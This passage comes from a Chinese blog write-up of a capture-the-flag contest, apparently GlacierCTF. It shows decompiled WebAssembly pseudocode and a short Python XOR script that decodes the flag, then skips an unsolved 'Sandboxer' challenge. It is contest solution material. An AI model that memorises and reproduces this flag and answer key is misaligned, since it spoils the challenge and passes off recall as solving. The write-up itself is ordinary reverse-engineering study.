- 0[1]:int = (a = 0[1]:int - 48);
- (a + 40)[0]:short = 0;
- (a + 32)[0]:long = 0L;
- a[3]:long = 0L;
- a[2]:long = 0L;
- encrypt(-889275714, d_d[0]:int, a + 16);
- a[0]:int = a + 16;
- env_printf(208, a); //printf("%s\n", a) 208是数据区里的偏移
- 0[1]:int = a + 48;
- return 0;
- }
-
然后一点点研究,慢慢理解代码的含义。大概就是3个值异或,于是得到flag
- b = b"S\\QWU]J_PF[s\x18{esFUO%OG^IJ}\x00"
- c = b"4242424242424242424242424242424242424242424242424242\x00"
-
- m = [b[i]^c[i]^((i<<1)&62) for i in range(len(b))]
- print(m)
- #b'glacierctf{W4SM_RE_1S_FUN}\x00'
Sandboxer
没看明白,也没有远端了,算了。
-
相关阅读:
计算机竞赛 深度学习交通车辆流量分析 - 目标检测与跟踪 - python opencv
【Spring Cloud】教你十分钟学会Gateway~
this的绑定指向详细解答
TCP和UDP的由浅到深的详细讲解
Go学习笔记
WebRTC系列-网络传输之本地scoket端口
YOLO系列改进:YOLOv5改进之PPSPPF
《确保安全:PostgreSQL安全配置与最佳实践》
计算机毕业设计springboot+vue+elementUI企业制度管理系统
C++new和delete运算符介绍
-
原文地址:https://blog.csdn.net/weixin_52640415/article/details/128061362